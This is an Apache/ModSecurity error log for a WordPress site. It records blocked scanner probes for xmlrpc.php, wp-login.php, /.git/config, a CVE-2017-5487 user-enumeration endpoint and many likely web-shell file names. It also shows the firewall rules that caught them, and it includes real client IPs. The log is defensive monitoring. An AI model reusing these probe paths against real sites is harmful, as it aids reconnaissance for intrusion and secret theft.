[Thu Jan 08 02:46:42.824116 2026] [:error] [pid 50905:tid 50909] [client 34.73.69.55:60012] [client 34.73.69.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.69.55, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV6qEmpNgk5-gt30I7blNgAAAkI"]
[Thu Jan 08 05:27:00.323916 2026] [:error] [pid 15265:tid 15335] [client 45.82.121.248:62868] [client 45.82.121.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.121.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aV7PpKE6VBKhew2LTFSZMwAAAIk"], referer: https://vetstars.com.au/wp-login.php?action=register
[Thu Jan 08 05:27:03.121506 2026] [:error] [pid 15265:tid 15326] [client 45.82.121.248:63031] [client 45.82.121.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.82.121.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aV7Pp6E6VBKhew2LTFSZOAAAAIA"], referer: https://vetstars.com.au/wp-login.php?registration=disabled
[Thu Jan 08 05:51:21.094250 2026] [:error] [pid 15263:tid 15286] [client 35.189.177.75:52326] [client 35.189.177.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aV7VWdv61bxum7WG_e9ZoQAAAA4"]
[Thu Jan 08 10:29:07.085062 2026] [:error] [pid 2484:tid 2493] [client 117.33.163.216:50826] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV8WcziDlnlaQQK_AEPHqgAAAUY"]
[Thu Jan 08 14:03:57.681725 2026] [:error] [pid 15358:tid 15384] [client 43.166.238.12:51900] [client 43.166.238.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV9IzSoRk9xWJ3toSBIulgAAAM4"]
[Thu Jan 08 22:31:41.152383 2026] [:error] [pid 2484:tid 2488] [client 20.196.88.199:65417] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aV-_zTiDlnlaQQK_AEOkqgAAAUI"]
[Thu Jan 08 22:31:42.291030 2026] [:error] [pid 2484:tid 2499] [client 20.196.88.199:36098] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aV-_zjiDlnlaQQK_AEOksgAAAUw"]
[Thu Jan 08 22:31:44.133880 2026] [:error] [pid 15358:tid 15379] [client 20.196.88.199:46635] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aV-_0CoRk9xWJ3toSBKQ5wAAAMk"]
[Thu Jan 08 22:31:46.027734 2026] [:error] [pid 15263:tid 15278] [client 20.196.88.199:42672] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aV-_0tv61bxum7WG_e8T4AAAAAY"]
[Thu Jan 08 22:31:49.669504 2026] [:error] [pid 15265:tid 15336] [client 20.196.88.199:65459] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aV-_1aE6VBKhew2LTFRdGgAAAIo"]
[Thu Jan 08 22:31:55.827769 2026] [:error] [pid 2484:tid 2487] [client 20.196.88.199:39292] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aV-_2ziDlnlaQQK_AEOkzgAAAUE"]
[Thu Jan 08 22:31:57.541705 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.199:65434] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aV-_3bTDJR8aofkBk9RBAgAAARU"]
[Thu Jan 08 22:31:59.154680 2026] [:error] [pid 2484:tid 2506] [client 20.196.88.199:40171] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid-file.php"] [unique_id "aV-_3ziDlnlaQQK_AEOk2AAAAVI"]
[Thu Jan 08 22:32:00.836730 2026] [:error] [pid 15358:tid 15373] [client 20.196.88.199:39836] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aV-_4CoRk9xWJ3toSBKQ-wAAAMM"]
[Thu Jan 08 22:32:05.983575 2026] [:error] [pid 15264:tid 15317] [client 20.196.88.199:36107] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aV-_5Yov6_kvS0Owh-ohWAAAAFI"]
[Thu Jan 08 22:32:07.849444 2026] [:error] [pid 15358:tid 15381] [client 20.196.88.199:65512] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aV-_5yoRk9xWJ3toSBKRAgAAAMs"]
[Thu Jan 08 22:32:09.466080 2026] [:error] [pid 15265:tid 15340] [client 20.196.88.199:40146] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-user.php"] [unique_id "aV-_6aE6VBKhew2LTFRdKwAAAI4"]
[Thu Jan 08 22:32:10.824551 2026] [:error] [pid 2484:tid 2498] [client 20.196.88.199:37192] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aV-_6jiDlnlaQQK_AEOk4QAAAUs"]
[Thu Jan 08 22:32:14.735215 2026] [:error] [pid 15263:tid 15276] [client 20.196.88.199:36129] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aV-_7tv61bxum7WG_e8T_AAAAAQ"]
[Thu Jan 08 22:32:18.951350 2026] [:error] [pid 2484:tid 2512] [client 20.196.88.199:39284] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aV-_8jiDlnlaQQK_AEOk6gAAAVg"]
[Thu Jan 08 22:32:23.605929 2026] [:error] [pid 15358:tid 15377] [client 20.196.88.199:36133] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "aV-_9yoRk9xWJ3toSBKRBgAAAMc"]
[Thu Jan 08 22:32:25.050131 2026] [:error] [pid 15358:tid 15387] [client 20.196.88.199:39267] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "aV-_-SoRk9xWJ3toSBKRCQAAANE"]
[Thu Jan 08 22:32:27.367718 2026] [:error] [pid 17404:tid 17420] [client 20.196.88.199:46653] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "aV-_-2Vd_oH193N6AnXPsgAAAY4"]
[Thu Jan 08 22:32:31.815506 2026] [:error] [pid 17404:tid 17424] [client 20.196.88.199:43718] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "aV-__2Vd_oH193N6AnXPtwAAAZI"]
[Thu Jan 08 22:32:33.421765 2026] [:error] [pid 15264:tid 15301] [client 20.196.88.199:43393] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/green.php"] [unique_id "aV_AAYov6_kvS0Owh-ohaQAAAEI"]
[Thu Jan 08 22:32:34.495253 2026] [:error] [pid 2484:tid 2504] [client 20.196.88.199:39808] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aV_AAjiDlnlaQQK_AEOlAQAAAVA"]
[Thu Jan 08 22:32:35.221881 2026] [:error] [pid 15265:tid 15329] [client 20.196.88.199:5178] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aV_AA6E6VBKhew2LTFRdMQAAAIM"]
[Thu Jan 08 22:32:36.344428 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.199:39818] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aV_ABDiDlnlaQQK_AEOlBQAAAU8"]
[Thu Jan 08 22:32:36.741038 2026] [:error] [pid 15265:tid 15336] [client 20.196.88.199:37248] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aV_ABKE6VBKhew2LTFRdNwAAAIo"]
[Thu Jan 08 22:33:20.125751 2026] [:error] [pid 15264:tid 15320] [client 20.196.88.199:39865] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aV_AMIov6_kvS0Owh-ohnwAAAFU"]
[Thu Jan 08 22:33:23.274695 2026] [:error] [pid 2424:tid 2430] [client 20.196.88.199:38352] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aV_AM7TDJR8aofkBk9RBVAAAAQQ"]
[Thu Jan 08 22:33:24.471814 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.199:43715] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aV_ANDiDlnlaQQK_AEOlIwAAAVY"]
[Thu Jan 08 22:33:37.578777 2026] [:error] [pid 15264:tid 15302] [client 20.196.88.199:42936] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_AQYov6_kvS0Owh-ohswAAAEM"]
[Thu Jan 08 22:33:38.747902 2026] [:error] [pid 15264:tid 15299] [client 20.196.88.199:6118] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_AQoov6_kvS0Owh-ohtAAAAEA"]
[Thu Jan 08 22:33:41.858420 2026] [:error] [pid 2424:tid 2435] [client 20.196.88.199:38347] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_ARbTDJR8aofkBk9RBZAAAAQk"]
[Thu Jan 08 22:33:43.553643 2026] [:error] [pid 15265:tid 15339] [client 20.196.88.199:43297] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aV_AR6E6VBKhew2LTFRdbAAAAI0"]
[Thu Jan 08 22:33:44.222027 2026] [:error] [pid 2424:tid 2433] [client 20.196.88.199:42911] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_ASLTDJR8aofkBk9RBZQAAAQc"]
[Thu Jan 08 22:33:45.633432 2026] [:error] [pid 17404:tid 17419] [client 20.196.88.199:44809] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_ASWVd_oH193N6AnXQGAAAAY0"]
[Thu Jan 08 22:33:48.334155 2026] [:error] [pid 2484:tid 2495] [client 20.196.88.199:42937] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_ATDiDlnlaQQK_AEOlWAAAAUg"]
[Thu Jan 08 22:33:50.386235 2026] [:error] [pid 15358:tid 15387] [client 20.196.88.199:37285] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_ATioRk9xWJ3toSBKRWQAAANE"]
[Thu Jan 08 22:33:54.611641 2026] [:error] [pid 17404:tid 17413] [client 20.196.88.199:44100] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aV_AUmVd_oH193N6AnXQJgAAAYc"]
[Thu Jan 08 22:34:01.333834 2026] [:error] [pid 7586:tid 7602] [client 20.196.88.199:44854] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww3.php"] [unique_id "aV_AWcJyk37GdXP5TmV-IQAAAcw"]
[Thu Jan 08 22:34:08.979101 2026] [:error] [pid 2484:tid 2511] [client 20.196.88.199:44137] [client 20.196.88.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aV_AYDiDlnlaQQK_AEOllAAAAVc"]
[Thu Jan 08 22:43:34.268642 2026] [:error] [pid 2484:tid 2488] [client 104.28.235.60:30942] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aV_CljiDlnlaQQK_AEOoKgAAAUI"]
[Thu Jan 08 22:52:26.028785 2026] [:error] [pid 15264:tid 15319] [client 34.53.84.99:53704] [client 34.53.84.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.84.99, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV_Eqoov6_kvS0Owh-olZAAAAFQ"]
[Thu Jan 08 22:52:28.975841 2026] [:error] [pid 15264:tid 15322] [client 34.53.84.99:53704] [client 34.53.84.99] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aV_ErIov6_kvS0Owh-olbAAAAFc"]
[Thu Jan 08 22:52:31.575991 2026] [:error] [pid 15264:tid 15323] [client 34.53.84.99:53704] [client 34.53.84.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.84.99, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aV_Er4ov6_kvS0Owh-olbwAAAFg"]
[Thu Jan 08 23:41:41.005001 2026] [:error] [pid 15358:tid 15388] [client 114.96.103.33:37661] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aV_QNSoRk9xWJ3toSBKeTQAAANI"]
[Fri Jan 09 00:52:56.112498 2026] [autoindex:error] [pid 15264:tid 15300] [client 20.196.88.31:10958] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 09 00:53:42.833874 2026] [:error] [pid 15263:tid 15283] [client 20.196.88.31:10883] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aV_hFtv61bxum7WG_e8tnQAAAAs"]
[Fri Jan 09 00:53:44.251790 2026] [:error] [pid 7586:tid 7610] [client 20.196.88.31:10998] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aV_hGMJyk37GdXP5TmWXuQAAAdQ"]
[Fri Jan 09 00:53:45.420052 2026] [:error] [pid 15358:tid 15387] [client 20.196.88.31:10944] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aV_hGSoRk9xWJ3toSBKvmgAAANE"]
[Fri Jan 09 00:53:46.921627 2026] [:error] [pid 2424:tid 2431] [client 20.196.88.31:10964] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aV_hGrTDJR8aofkBk9RhoQAAAQU"]
[Fri Jan 09 00:53:48.181892 2026] [:error] [pid 15263:tid 15292] [client 20.196.88.31:10900] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aV_hHNv61bxum7WG_e8tpwAAABQ"]
